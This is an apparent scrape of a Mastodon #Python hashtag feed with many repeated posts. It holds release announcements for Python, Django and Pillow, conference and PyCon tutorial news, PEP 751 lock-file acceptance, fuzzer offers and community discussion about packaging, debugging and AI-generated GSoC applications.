Readings shared April 24, 2025. https://jaalonso.github.io/vestigium/posts/2025/04/24-readings_shared_04-24-25 #CommonLisp #Haskell #ITP #IsabelleHOL #LeanProver #Math #Python
@chrisjrn@social.coop
I'm about to go to bed before I set up for a #Python event that celebrates the joy of technology and the responsibility we have to use the skills we have to improve the world.
A while ago, I caught the news that former #Python release manager, @swearyanthony is in the ICU in a critical condition with an unclear prognosis. I'm a Python person because I had the fortune to meet Anthony at the right time, and I'll be keeping him in my thoughts as this year's #NBPy unfolds.
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Sistema factorádico de numeración. https://jaalonso.github.io/exercitium/posts/2025/04/24-sistema_factoradico_de_numeracion #Haskell #Python #CommonLisp
@pvergain@framapiaf.org
- https://discuss.python.org/t/welcome-emma-smith-to-the-triage-team/88813
Welcome Emma Smith (@emmatyping) to the Triage team!
--<--
Emma has been very active in the typing community, as a contributor to mypy, and as a contributor to CPython’s PEP 585 implementation. Emma has also contributed WASM/Emscripten testing support, ZipFile improvements, and other contributions. Emma has a number of packaging related PEPs in flight and is active in the WheelNext initiative.
...
---->--
@pvergain@framapiaf.org
- https://discuss.python.org/t/welcome-emma-smith-to-the-triage-team/88813
Welcome Emma Smith (@emmatyping) to the Triage team!
--<--
Emma has been very active in the typing community, as a contributor to mypy, and as a contributor to CPython’s PEP 585 implementation. Emma has also contributed WASM/Emscripten testing support, ZipFile improvements, and other contributions. Emma has a number of packaging related PEPs in flight and is active in the WheelNext initiative.
...
---->--
@Jose_A_Alonso@mathstodon.xyz
Readings shared April 23, 2025. https://jaalonso.github.io/vestigium/posts/2025/04/23-readings_shared_04-23-25 #CommonLisp #Education #GenerativeAI #Haskell #IsabelleHOL #LeanProver #Math #Python
@slint@fosstodon.org
We're delighted to release Slint 1.11 with two exciting updates 🚀:
✅ Live-Preview features Color & Gradient pickers
✅ Python Bindings upgraded to Beta
Speed up your UI development with visual color selection and more robust Python support. Check it out - https://slint.dev/blog/slint-1.11-released
@hn50@social.lansky.name
Advanced Python Features
Link: https://blog.edward-li.com/tech/advanced-python-features/
Discussion: https://news.ycombinator.com/item?id=43769486
@Jose_A_Alonso@mathstodon.xyz
@Jose_A_Alonso@mathstodon.xyz
Readings shared April 22, 2025. https://jaalonso.github.io/vestigium/posts/2025/04/22-readings_shared_04-22-25 #CommonLisp #Datalog #Haskell #IsabelleHOL #LLMs #LeanProver #Logic #Math #Python
@villares@ciberlandia.pt
Inscrições para pessoas mentoras voluntárias na iniciativa BOSS* estão abertas! #Plone #Python #JavaScript
https://docs.google.com/forms/d/e/1FAIpQLSdGeBCRXoGZpR5NERMQEmJRy__sKJDmXsuo2mB3jaFEDYGe1w/viewform
"*BOSS (Big Open Source Sibling) é uma iniciativa de mentoria que visa engajar grupos sub representados na tecnologia para que comecem a contribuir para comunidades Open Source.
Nessa mentoria, muito mais do que desenvolver habilidades técnicas, as participantes aprendem competências úteis às comunidades Open Source, como se comunicar, trabalhar de forma assíncrona e remota, desenvolver coletivamente, etc."
@villares@ciberlandia.pt
Inscrições para pessoas mentoras voluntárias na iniciativa BOSS* estão abertas! #Plone #Python #JavaScript
https://docs.google.com/forms/d/e/1FAIpQLSdGeBCRXoGZpR5NERMQEmJRy__sKJDmXsuo2mB3jaFEDYGe1w/viewform
"*BOSS (Big Open Source Sibling) é uma iniciativa de mentoria que visa engajar grupos sub representados na tecnologia para que comecem a contribuir para comunidades Open Source.
Nessa mentoria, muito mais do que desenvolver habilidades técnicas, as participantes aprendem competências úteis às comunidades Open Source, como se comunicar, trabalhar de forma assíncrona e remota, desenvolver coletivamente, etc."
@danzin@mastodon.social
Do you maintain or contribute to a #Python package that includes a C extension? Would you like to run a fuzzer against it?
If so, let me know and I will run it, or help you to get it running.
The fuzzer is #fusil, which generates random code calling into your functions and methods. It's useful to check for crashes on invalid inputs or unexpected call patterns.
It has found about 50 crashes in #CPython, 20 in #PyPy, 6 in #Numpy etc.
#fuzzing #fuzzer #testing
See here:
https://github.com/devdanzin/fusil/issues/37
@mahryekuh@fosstodon.org
Python devs, I'd like your opinion on putting extensive business logic in `__init__.py`.
It makes me feel a bit icky because it often leads to unavoidable imports. Sometimes, it gets mixed with import shortcut definitions and other administrative stuff.
Personally, I like my inits to be empty, as much as possible.
But maybe that is just me being silly.
So, what do you think of business logic in `__init__.py`?
Option | Voters |
---|---|
Yay | 2 (4%) |
Nay | 40 (77%) |
Don't care, or ambivalent | 3 (6%) |
I'm not a Python dev | 7 (13%) |
@kushal@toots.dgplug.org
Time to use the screenshot of a toot from @evacide in my keynote at #PyConLT tomorrow #python #community #ethics
@hardtech@corteximplant.com
Hey guys, I'm not so #newhere but I wanted to change my username, kind of reboot of my cortex implant.
introduction
Here are some stuff about me:
What is HardTech?
Hardtech is a #scifi project I have: a scifi documentation website; a website that describes in details fictional technologies. A kind of user manual for a spacecraft/space station.
The aesthetics are rusty, unsafe, industrial. You must see wires in the spaceships/space station, you must not feel safe when you're on board. Main colors are various orange and black.
Hardtech is LowTech
Why? Because HardTech needs to know technologies in details to make them understandable for other people, but needs to stay technical and cryptic enough to keep the sense of wonder.
I hope you will enjoy.
@Jose_A_Alonso@mathstodon.xyz
@lemeteore@mastodon.social
Another wrinkle to the issues surrounding #opensource sustainability https://danlamanna.com/posts/rest-in-peace-djangos-framework-problem/ #python #django #DFR #Github
@glyph@mastodon.social
I will be streaming over at https://www.twitch.tv/glyph_official/ in a bit less than 21 hours, i.e. at 10AM US/Pacific on 4/22. Come on by tomorrow and comment on my #Python code, or perhaps learn something about #Emacs.
@mkennedy@fosstodon.org
I finally understand #vibe #vibecoding #python
@bobthetraveler@mastodon.world
Here's how to automatically post to Mastodon: https://cromwell-intl.com/open-source/python-social-media-automation/?s=mb #OpenSource #Python #TwitterMigration
@CuratedHackerNews@mastodon.social
@lobsters@mastodon.social
@skinnylatte@hachyderm.io
North Bay Python:
“Please contact us if you wish to travel to the venue by watercraft.”
Covid-cautious and kayaks?? How is NBPY so cool!! (Also I am speaking)
@hugovk@mastodon.social
"One highlight of submitting a PR to #Python is that their infrastructure has more CI coverage than we could possibly dream of: a complete build of Python runs over 50+ toolchains and architectures. The flipside? We discovered some pretty annoying corner cases."
https://jonathan.protzenko.fr/2025/04/18/python.html
@hugovk@mastodon.social
"One highlight of submitting a PR to #Python is that their infrastructure has more CI coverage than we could possibly dream of: a complete build of Python runs over 50+ toolchains and architectures. The flipside? We discovered some pretty annoying corner cases."
https://jonathan.protzenko.fr/2025/04/18/python.html
@hugovk@mastodon.social · Reply to Paul McGuire's post
@ptmcg Tip: add a DOI to make your code citeable.
Here's a good @pyOpenSci video guide:
https://youtu.be/1pI4QU-7c98
Fore example, here's @pillow: https://doi.org/10.5281/zenodo.596518
@Jose_A_Alonso@mathstodon.xyz
@nogajun@mastodon.social
Pythonで最近流行ってる環境管理ツールuvをDebianで使う場合のインストール方法をを書いたけど、余談の`curl | bash`の話の方が長い #python #debian #linux
Debianでuvを安全にインストールする方法: https://zenn.dev/nogajun/articles/6effc1d1762fce
@nogajun@mastodon.social
Pythonで最近流行ってる環境管理ツールuvをDebianで使う場合のインストール方法をを書いたけど、余談の`curl | bash`の話の方が長い #python #debian #linux
Debianでuvを安全にインストールする方法: https://zenn.dev/nogajun/articles/6effc1d1762fce
@ptmcg@fosstodon.org
If you maintain an open source package, set up a standing search on scholar.google.com for your package name. You'll get gmail notifications of published papers referencing your package.
It's truly gratifying to see students and research teams making use of my pyparsing package to parse data sets and DSLs, so they can quickly get past the pesky parser development stage and get on with the business of their actual field of study. #pyparsing #python #google #oss #opensource
@nogajun@mastodon.social
Pythonで最近流行ってる環境管理ツールuvをDebianで使う場合のインストール方法をを書いたけど、余談の`curl | bash`の話の方が長い #python #debian #linux
Debianでuvを安全にインストールする方法: https://zenn.dev/nogajun/articles/6effc1d1762fce
@HerraBRE@mastodon.xyz · Reply to BjarniBjarniBjarni 🙊 🇮🇸 🍏's post
Different languages are good at different things.
People have mocked #Perl for being a "write only" language, but I feel like the Perl community should take pride and own that slur - you don't need to constantly read and re-read and re-re-read (and edit) the Perl code, because it just keeps working.
Not so with #Python. Python will deprecate your shit and you will NEED to re-read that code so you can make pointless edits to keep it working.
@yngvem@fosstodon.org
I'm adding resources for future reading for mine and Marie's #Python #packaging tutorial for #PyConUS, and I realised that I don't know any good #pytest tutorials for beginners. Does anyone have any reccommendations?
@yngvem@fosstodon.org
I'm adding resources for future reading for mine and Marie's #Python #packaging tutorial for #PyConUS, and I realised that I don't know any good #pytest tutorials for beginners. Does anyone have any reccommendations?
@yngvem@fosstodon.org
I'm adding resources for future reading for mine and Marie's #Python #packaging tutorial for #PyConUS, and I realised that I don't know any good #pytest tutorials for beginners. Does anyone have any reccommendations?
@Jose_A_Alonso@mathstodon.xyz
Knuckledragger: A low barrier proof assistant. ~ Philip Zucker. https://github.com/philzook58/knuckledragger #ITP #SMT #Z3 #Python
@HerraBRE@mastodon.xyz · Reply to BjarniBjarniBjarni 🙊 🇮🇸 🍏's post
Different languages are good at different things.
People have mocked #Perl for being a "write only" language, but I feel like the Perl community should take pride and own that slur - you don't need to constantly read and re-read and re-re-read (and edit) the Perl code, because it just keeps working.
Not so with #Python. Python will deprecate your shit and you will NEED to re-read that code so you can make pointless edits to keep it working.
@HerraBRE@mastodon.xyz
Roughly one day a week lately, I have been working with a friend to reboot some of the many https://pagekite.net things that had stalled while I had other priorities. It's been great!
When we started working together, she was a bit baffled at my complaints about the upgrade treadmill and the #Python community's wilful lack of fucks to give about long term stability.
It didn't take long, maybe 4-5 sessions, before she began to vehemently understand what I was moaning about...
@nedbat@hachyderm.io
Some little-used #Python regular expression features that *aren't* confusing punctuation! https://nedbatchelder.com/blog/202504/regex_affordances.html
@scy@chaos.social · Reply to scy's post
Okay, yeah, so, that method was BS for two reasons: I'm formatting the milliseconds from the log record, but the rest of the timestamp from "now" (lol, ouch) – but also, the underlying problem is using time.strftime (like the base class) instead of the more modern datetime.datetime.strftime. Because the latter actually _does_ have a format string placeholder for microseconds (not milliseconds though).
So, after a bit of iteration, I think I'll be going with this one:
@scy@chaos.social
Python: *has very flexible logging system*
also Python: *has no format string placeholder for fractional seconds*
me, wanting a ISO 8601 compatible timestamp with milliseconds in his logs:
[Edit: fixed and improved version in the replies]
@JGraber@mastodon.social
#Python Friday #275: Print #Pandas DataFrames as #Markdown
https://pythonfriday.dev/2025/04/275-print-pandas-dataframes-as-markdown/
@glyph@mastodon.social
stop writing __init__ methods https://blog.glyph.im/2025/04/stop-writing-init-methods.html #python #programming
@glyph@mastodon.social
stop writing __init__ methods https://blog.glyph.im/2025/04/stop-writing-init-methods.html #python #programming
@deno_land@fosstodon.org
a model context protocol server that securely runs untrusted Python 🐍 code in a sandbox with Deno 🦕
https://github.com/pydantic/pydantic-ai/tree/main/mcp-run-python
@treyhunner@mastodon.social
@treyhunner@mastodon.social
@andy47@aus.social
Tried some 'vibe coding' today. Hmm. On the plus side I found out about a #python package I didn't know - https://pandas-market-calendars.readthedocs.io/en/latest/ - on the minus side it completely hallucinated a method that has never existed. So on balance probably neutral?
@glyph@mastodon.social
I also maintain a #Python convenience library for writing #macOS applications, QuickMacApp. I did a new release of it recently to add the new notifications API, and there's finally some documentation on the web: https://pypi.org/project/quickmacapp/2025.4.15/
@glyph@mastodon.social
Did you know that I maintain a #Python library for writing idiomatic, deterministic finite-state automata, where the inputs are method calls and the outputs are return values? Today there's a new release of it, with some minor updates and to officially add 3.13 to the support matrix (although it did work fine before): https://pypi.org/project/Automat/25.4.16/
@villares@pynews.com.br
Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_04_15
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@Tubsta@soc.feditime.com
@pyconfi@fosstodon.org
🐍🇫🇮 Hei maailma! Hello world!
🐍🇫🇮 We're back!
🐍🇫🇮 The first PyCon Finland in nearly 10 years will take place on Friday, 17th October in Jyväskylä! It will be a special one-day event in cooperation with @ploneconf
🐍🇫🇮 The call for proposals and ticket sales are open now!
🐍🇫🇮 Please boost and follow!
https://pyconfi.ploneconf.org
https://www.linkedin.com/company/pyconfi
https://fosstodon.org/@HelPy/114342773288376107
#Python #Finland #PyCon #PyConFI #PyConFinland #Plone #PloneConf
@kgaiji@framapiaf.org
⚠️ ANNONCE ⚠️ J'ai une opportunité de fou mais incertaine. Je cherche un-e/des développeur-ses web qui pourrait améliorer le code de @pytition basé sur #Python avec un cahier des charges pour une ONG écologiste. Ça sera financé ! Et possible de le mettre dans le gitlab commun. + d'information : https://pytition.org/
Si quelqu'un-e est motivé-e, contactez moi en mp!
Le repouet aide à combattre Change et le capitalisme des pétitions ! ❤️✊
@kgaiji@framapiaf.org
⚠️ ANNONCE ⚠️ J'ai une opportunité de fou mais incertaine. Je cherche un-e/des développeur-ses web qui pourrait améliorer le code de @pytition basé sur #Python avec un cahier des charges pour une ONG écologiste. Ça sera financé ! Et possible de le mettre dans le gitlab commun. + d'information : https://pytition.org/
Si quelqu'un-e est motivé-e, contactez moi en mp!
Le repouet aide à combattre Change et le capitalisme des pétitions ! ❤️✊
@thezerobit@anticapitalist.party
A quick #Python example of why you should only evaluate boolean expressions in a boolean context:
Since an empty list evaluates to `False`, people like to write code like this:
async def get_things() -> list[Thing]:
...
things = get_things()
if things:
...
The above code will happily type check even though it is severely bugged. If you are properly explicit about the condition, the type checker will alert you to the error:
things = get_things()
if len(things) > 0:
...
@NorthBayPython@social.northbaypython.org
remember that time @glyph performed a parody operetta about #python tool proliferation?
good times. https://www.youtube.com/watch?v=kcfERM6fcgU
come to this year's #NBPy, where we are not guaranteeing that a speaker won't have a musical number: https://nbpy.link/tickets
@NorthBayPython@social.northbaypython.org
remember that time @glyph performed a parody operetta about #python tool proliferation?
good times. https://www.youtube.com/watch?v=kcfERM6fcgU
come to this year's #NBPy, where we are not guaranteeing that a speaker won't have a musical number: https://nbpy.link/tickets
@Tubsta@soc.feditime.com
@adorilson@mastodon.social
Tive hoje o primeiro PR não-relacionado a documentação mesclado no CPython : https://github.com/python/cpython/pull/113575
Não é código que vá rodar na máquina das pessoas, mas pode evitar que bugs cheguem lá. #Python
@treyhunner@mastodon.social
@glyph@mastodon.social
OH HEY I was traveling and I missed this but there are new #Python releases! 3.13.3 and 3.12.10 are downloadable and installable via MOPUp <https://github.com/glyph/mopup> but you already knew that right because you weren't traveling, and you are always to-the-minute up to date on security patches, right?
@adorilson@mastodon.social
Tive hoje o primeiro PR não-relacionado a documentação mesclado no CPython : https://github.com/python/cpython/pull/113575
Não é código que vá rodar na máquina das pessoas, mas pode evitar que bugs cheguem lá. #Python
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Pillow 11.2.1 🚀
There was meant to be a 11.2.0 on 1st April, but we put too much good stuff in the wheels and hit the @pypi.org project limit before it could all be uploaded. That was yanked and now deleted and 11.2.1 is back to normal size.
We'll try and put the good stuff back for 11.3.0 on 1st July but take up less space.
@pillow@fosstodon.org
🐍🚀🎨 Pillow 11.2.1 has been released!
What happened to 11.2.0?
Two things: we added AVIF support which made the wheels much bigger, and we hit the PyPI project size limit before the release could be fully updated.
11.2.1 instead has AVIF support but needs to be built from source. We'll look into including AVIF in wheels in a future release so that the size doesn't increase so much.
This release also adds Arrow support and more:
https://pillow.readthedocs.io/en/stable/releasenotes/11.2.1.html
@aks@scalie.zone
dear god what the fuck https://susam.net/elliptical-python-programming.html
edit: this was written by @susam
@AndreasZeller@mastodon.social
What do you get if you combine #grammars, #constraints, #evolutionary algorithms, and #Python in one? A mighty fuzzer! Check out our latest #FANDANGO work, to appear at #ISSTA2025:
https://publications.cispa.de/articles/standard/FANDANGO_Evolving_Language-Based_Testing/28769252?file=53591066
To try out Fandango yourself, check out its home page: https://fandango-fuzzer.github.io/
@pycon@fosstodon.org
Explore 3D graphics using #Python! Join Łukasz Langa at #PyConUS 2025 for the tutorial "Discover 3D Graphics with WebGL and PyScript" on May 15th 🐍 https://us.pycon.org/2025/schedule/presentation/24/
Register now via your PyCon US account dashboard: https://us.pycon.org/2025/accounts/dashboard/
https://us.pycon.org/2025/schedule/presentation/24/
@pycon@fosstodon.org
Explore 3D graphics using #Python! Join Łukasz Langa at #PyConUS 2025 for the tutorial "Discover 3D Graphics with WebGL and PyScript" on May 15th 🐍 https://us.pycon.org/2025/schedule/presentation/24/
Register now via your PyCon US account dashboard: https://us.pycon.org/2025/accounts/dashboard/
https://us.pycon.org/2025/schedule/presentation/24/
@meejah@mastodon.social
I have made a release of "git-withme" which allows peer-to-peer Git usage over #magicWormhole
This uses short, human-memorable codes to invite peers to collaborate (push, pull, etc) in real-time on a Git repository with no external hosting providers. Creates a temporary bare repository on the host so it feels like GitLab style usage.
"pip install git-withme" or see the project pages:
https://git.sr.ht/~meejah/git-withme
@meejah@mastodon.social
I have made a release of "git-withme" which allows peer-to-peer Git usage over #magicWormhole
This uses short, human-memorable codes to invite peers to collaborate (push, pull, etc) in real-time on a Git repository with no external hosting providers. Creates a temporary bare repository on the host so it feels like GitLab style usage.
"pip install git-withme" or see the project pages:
https://git.sr.ht/~meejah/git-withme
@meejah@mastodon.social
I have made a release of "git-withme" which allows peer-to-peer Git usage over #magicWormhole
This uses short, human-memorable codes to invite peers to collaborate (push, pull, etc) in real-time on a Git repository with no external hosting providers. Creates a temporary bare repository on the host so it feels like GitLab style usage.
"pip install git-withme" or see the project pages:
https://git.sr.ht/~meejah/git-withme
@terri@social.afront.org
Ugh, Python got over 500 #GSoC applications this year and so many of them are absolutely trash, didn't follow any of the instructions. Most years about half of our applications are like this. But usually we have a lot fewer applicants and the submissions were blank files not plausible AI nonsense.
So I'm stuck reading hundreds of incredibly low quality nonsensical submissions today in hopes to take some workload off my other unpaid volunteer mentors. This is not the volunteer gig I signed up for 15 years ago when it was mostly working with new contributors and not their AI chatbots and I'm grumpy.
@terri@social.afront.org
Ugh, Python got over 500 #GSoC applications this year and so many of them are absolutely trash, didn't follow any of the instructions. Most years about half of our applications are like this. But usually we have a lot fewer applicants and the submissions were blank files not plausible AI nonsense.
So I'm stuck reading hundreds of incredibly low quality nonsensical submissions today in hopes to take some workload off my other unpaid volunteer mentors. This is not the volunteer gig I signed up for 15 years ago when it was mostly working with new contributors and not their AI chatbots and I'm grumpy.
@treyhunner@mastodon.social
@Tubsta@soc.feditime.com
@terri@social.afront.org
Ugh, Python got over 500 #GSoC applications this year and so many of them are absolutely trash, didn't follow any of the instructions. Most years about half of our applications are like this. But usually we have a lot fewer applicants and the submissions were blank files not plausible AI nonsense.
So I'm stuck reading hundreds of incredibly low quality nonsensical submissions today in hopes to take some workload off my other unpaid volunteer mentors. This is not the volunteer gig I signed up for 15 years ago when it was mostly working with new contributors and not their AI chatbots and I'm grumpy.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0a7 🚀
Just released: Python 3.13.3 🚀🚀
Just released: Python 3.12.10 🚀🚀🚀
Just released: Python 3.11.12 🚀🚀🚀🚀
Just released: Python 3.10.17 🚀🚀🚀🚀🚀
Just released: Python 3.9.22 🚀🚀🚀🚀🚀🚀
Last 3.14 alpha! Less than a month to get new features in before beta!
Last 3.12 bugfix release! Now in security fix only!
And security releases of 3.9-3.11.
Please upgrade 3.9-3.13!
Please test 3.14!
@PDFmaster@mastodon.social
Starting Out with Python 4th Edition
By Tony Gaddis
Year of publication: 2017
Pages: 744
Format: PDF, EPUB
ISBN: 9780134444321
Advantages of the Digital Version of Starting Out with Python, 4th Edition by Tony Gaddis
Starting Out with Python, 4th Edition by Tony Gaddis is a popular and highly accessible guide to learning Python programming.
Any questions - write to me!!! Any book at any time! Thank you for your time!
@astraluma@tacobelllabs.net
no, Astra, making an async version of jinja/jinjax is not a reasonable use of my time.
@veronica@mastodon.online
I've spent the afternoon writing an EPUB format writer for @novelwriter. It now has all the meta data XML files and can dump raw text of the novel without text formatting, so that's very good progress.
Next is of course to make it also format the text itself for the pages.
It's an interesting format to work with, and like ODT and DOCX is rather messy. Like DOCX, I get the feeling it's been modified a lot too.
@veronica@mastodon.online
I've spent the afternoon writing an EPUB format writer for @novelwriter. It now has all the meta data XML files and can dump raw text of the novel without text formatting, so that's very good progress.
Next is of course to make it also format the text itself for the pages.
It's an interesting format to work with, and like ODT and DOCX is rather messy. Like DOCX, I get the feeling it's been modified a lot too.
@15r10nk@fosstodon.org
Great news 🎉: inline-snapshot gets its first insider feature that allow you to create and fix assertions without using snapshot().
This allows you to fix normal assertions in your existing code. And the best part is that you have a chance to win something 🎁 ...
I'm giving away a lifetime Insider membership to one of you who reposts this post. The winner will be chosen at random in one week.
#python
@freiheit@hachyderm.io
Got set up to go to @NorthBayPython conference in a few weeks.
Fun little surprise for me: my employer (Sonic.net) is a Silver level sponsor this year.
@django@fosstodon.org
Django 5.2 has arrived! 🚀https://www.djangoproject.com/weblog/2025/apr/02/django-52-released/ Featuring a composite of new features – auto-importing models in the shell. Composite primary keys (!?!). BoundField overrride improvements.
Version 5.2 is Long Term Support (LTS) 👉️ 3 years of support, until April 2028.
We hope you like it! #Python #OpenSource
@django@fosstodon.org
Django 5.2 has arrived! 🚀https://www.djangoproject.com/weblog/2025/apr/02/django-52-released/ Featuring a composite of new features – auto-importing models in the shell. Composite primary keys (!?!). BoundField overrride improvements.
Version 5.2 is Long Term Support (LTS) 👉️ 3 years of support, until April 2028.
We hope you like it! #Python #OpenSource
@villares@ciberlandia.pt · Reply to wakest ⁂'s post
@liaizon thank you!
If you are curious, I added some references about L-Systems to this post: https://github.com/py5coding/py5generator/discussions/555
@villares@pynews.com.br
#LSystem Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_04_02
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@glyph@mastodon.social
#Python folks: if you want an interactive debugger, what do you use, and how do you set it up? Particularly on unfamiliar projects with something like tox/nox/Just which gets between you and the running process. Bonus points if you have a functioning #Emacs integration.
In principle I love the idea of interactive debuggers. In practice I have been burned so many times by configuration, path, and terminal interaction issues that I have an almost instinctual recoil from anything based on pdb.
@django@fosstodon.org
Django 5.2 has arrived! 🚀https://www.djangoproject.com/weblog/2025/apr/02/django-52-released/ Featuring a composite of new features – auto-importing models in the shell. Composite primary keys (!?!). BoundField overrride improvements.
Version 5.2 is Long Term Support (LTS) 👉️ 3 years of support, until April 2028.
We hope you like it! #Python #OpenSource
@treyhunner@mastodon.social
@yossarian@infosec.exchange
this makes me really happy: over 1/6th of the top (by download) Python projects are producing attestations!
that's a meteoric adoption rate, given that we only enabled attestation upload support on PyPI ~5 months ago!
tracker here: https://trailofbits.github.io/are-we-pep740-yet/
@audricd@tkz.one
alguien quiere ser mi colega de #git ? #python
estoy trabajando en una solucion para importar contenido de #youtube a #peertube
No es nada revolucionario... estoy aprendiendo :]
pero trato de hacerlo de la forma mas "profesional" posible.
tengo changelog:
https://codeberg.org/audricd/yt_2_pt/wiki/Changelog
requisitos:
https://codeberg.org/audricd/yt_2_pt/wiki/Requirements
kanban, con desarrollo / bugs:
https://codeberg.org/audricd/yt_2_pt/projects/14445
o sea que es bastante facil de incorporarse. aparte que el responsable (yo) es super majo, pese la apariencias
@kyva_dev @dotoscat @trankten @sam
se agradece #boost
@lobsters@mastodon.social
PEP 751 (Python dependency lock files) has been accepted https://lobste.rs/s/l7t2su #python
https://peps.python.org/pep-0751/
@lobsters@mastodon.social
PEP 751 (Python dependency lock files) has been accepted https://lobste.rs/s/l7t2su #python
https://peps.python.org/pep-0751/
@audricd@tkz.one
alguien quiere ser mi colega de #git ? #python
estoy trabajando en una solucion para importar contenido de #youtube a #peertube
No es nada revolucionario... estoy aprendiendo :]
pero trato de hacerlo de la forma mas "profesional" posible.
tengo changelog:
https://codeberg.org/audricd/yt_2_pt/wiki/Changelog
requisitos:
https://codeberg.org/audricd/yt_2_pt/wiki/Requirements
kanban, con desarrollo / bugs:
https://codeberg.org/audricd/yt_2_pt/projects/14445
o sea que es bastante facil de incorporarse. aparte que el responsable (yo) es super majo, pese la apariencias
@kyva_dev @dotoscat @trankten @sam
se agradece #boost
@richiekhoo@hachyderm.io
Package Manager for Markdown
I'm working on a project that is intended to encourage folk to make markdown text files which can be bundled together in different bundles of text files using a package manager.
Question for coders; Which package manager would you suggest I use?
Main criterias (in order) are:
1. Easy for someone with basic command line skills to edit the file and update version numbers and add additional packages.
2. All being equal, more commonly and easy to setup is preferred.
#Markdown #CommonMark #PackageManager #Programming #Dev
#NPM #RubyGems #Cargo #PickingAMastodonInstance
#Ruby #Python #Rust #Javascript #NodeJs #Lisp #CommonGuide
@brettcannon@fosstodon.org
PEP 751 has been accepted! https://peps.python.org/pep-0751/
This means #Python now has a lock file standard that can act as an export target for all tools that can create some sort of lock file. And for some tools the format can act as their primary lock file format as well instead of some proprietary format.
Also, happy National Indigenous Languages Day in Canada! https://www.canada.ca/en/prairies-economic-development/services/indigenous/national-indigenous-languages-day.html
@ambv@mastodon.social
I took part in #PyWeek 39 over the weekend and made a game in #PyScript. It's a single-tap rhythm game. Should work on any desktop browser and most new phones. It was a fun challenge to make a game where the realtime music sync is so important. You want to let people tap a little too late and still have the game allow it. You want it to be playable with Bluetooth headphones and keyboards that add a lot of latency.
@ambv@mastodon.social
I took part in #PyWeek 39 over the weekend and made a game in #PyScript. It's a single-tap rhythm game. Should work on any desktop browser and most new phones. It was a fun challenge to make a game where the realtime music sync is so important. You want to let people tap a little too late and still have the game allow it. You want it to be playable with Bluetooth headphones and keyboards that add a lot of latency.
@hvangalen@mastodon.nl
So, just wondering: what is a decent European alternative for payment handling like #Stripe? (It must support both single payments and monthly subscriptions.)
I've been out of the loop and I am sure there are people with experience here.
Preferably one with a matured API (and a Python library would be a nice bonus).
Thanks in advance for any suggestions.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: termcolor 3.0.0 🚀
ANSI colour formatting for the terminal.
🎨 Add support for Python 3.14
🎨 Only apply FORCE_COLOR, NO_COLOR & ANSI_COLORS_DISABLED env vars when present & not an empty string
🎨 Replace literal types with strings
🎨 Replace deprecated classifier with licence expression (PEP 639)
🎨 Speedup: move typing imports into type-checking block
🎨 Remove deprecated __ALL__, use __all__ instead
@EKNr1@dizl.de
Was ziemlich cool an Pip ist:
Man kann Python-Packages direkt aus einem Git-Repo installieren, ohne dass das Package auf PyPi existiert.
Das geht so:
pip install <package_name>@git+<repository_url>
Das währe dann z.B. der Installationsbefehl für ein Modul, an dem ich gerade bastle:
pip install smalltag@git+https://teapot.informationsanarchistik.de/Wobbl/SmallTag.git
@hn50@social.lansky.name
Self-contained Python scripts with uv
Link: http://blog.dusktreader.dev/2025/03/29/self-contained-python-scripts-with-uv/
Discussion: https://news.ycombinator.com/item?id=43519669
@gyptazy@gyptazy.com
#ProxLB - an opensource & advanced VM loadbalancer for #Proxmox clusters. Including affinity & anti-affinity rules, maintenance mode (evacuating nodes) and more. I just published my slides about it.
Project: https://github.com/gyptazy/ProxLB
Slides: https://cdn.gyptazy.com/files/talks/ProxLB-Intelligent-Workload-Balancing-for-Proxmox-Clusters.pdf
#homelab #vmware #alternatives #opensource #python #coding #devops #virtualization #proxmoxve
@python_discussions@mastodon.social
I made airDrop2 with 3.11.3 and Flask.
https://github.com/F1dg3tXD/iLocalShare
Discussions: https://discu.eu/q/https://github.com/F1dg3tXD/iLocalShare
@python_discussions@mastodon.social
I made airDrop2 with 3.11.3 and Flask.
https://github.com/F1dg3tXD/iLocalShare
Discussions: https://discu.eu/q/https://github.com/F1dg3tXD/iLocalShare
@gyptazy@gyptazy.com
#ProxLB - an opensource & advanced VM loadbalancer for #Proxmox clusters. Including affinity & anti-affinity rules, maintenance mode (evacuating nodes) and more. I just published my slides about it.
Project: https://github.com/gyptazy/ProxLB
Slides: https://cdn.gyptazy.com/files/talks/ProxLB-Intelligent-Workload-Balancing-for-Proxmox-Clusters.pdf
#homelab #vmware #alternatives #opensource #python #coding #devops #virtualization #proxmoxve
@hn50@social.lansky.name
Self-contained Python scripts with uv
Link: http://blog.dusktreader.dev/2025/03/29/self-contained-python-scripts-with-uv/
Discussion: https://news.ycombinator.com/item?id=43519669
@nogajun@mastodon.social
LibreOfficeには、Pythonが組み込まれていてマクロをPythonで書けるけどpipは使えなかったのよね。それが次のリリースでは使えるようになるっぽい。しかし、例が
```bash
instdir/program/python -m pip install numpy
```
ってプログラムのフォルダーに書き込みさせるのか? これは調べないと
162786 – Ship Python package manager (PIP) with LibreOffice internal Python: https://bugs.documentfoundation.org/show_bug.cgi?id=162786
#libreoffice #python
@nedbat@hachyderm.io
Sorting strings in #Python the way people expect: https://nedbatchelder.com/blog/202503/human_sorting_improved.html
@bshaurette@social.linux.pizza · Reply to Glyph's post
@glyph
It’s really difficult to filter it all out and maintain a healthy mental attitude right now. I still end most days with a stress stomach ache. But what IS helping is reconnecting with community. This *waves around at all the #python folks* is my biggest community, and I’m trying to talk to as many people as I can every day, catch up on Zoom when I can, see people in person when I can. And I’m an introvert, but somehow connecting takes some of the fear away.
@me@social.jlamothe.net
I am in urgent job search mode, so I'm gonna throw this out here and see if anything comes of it.
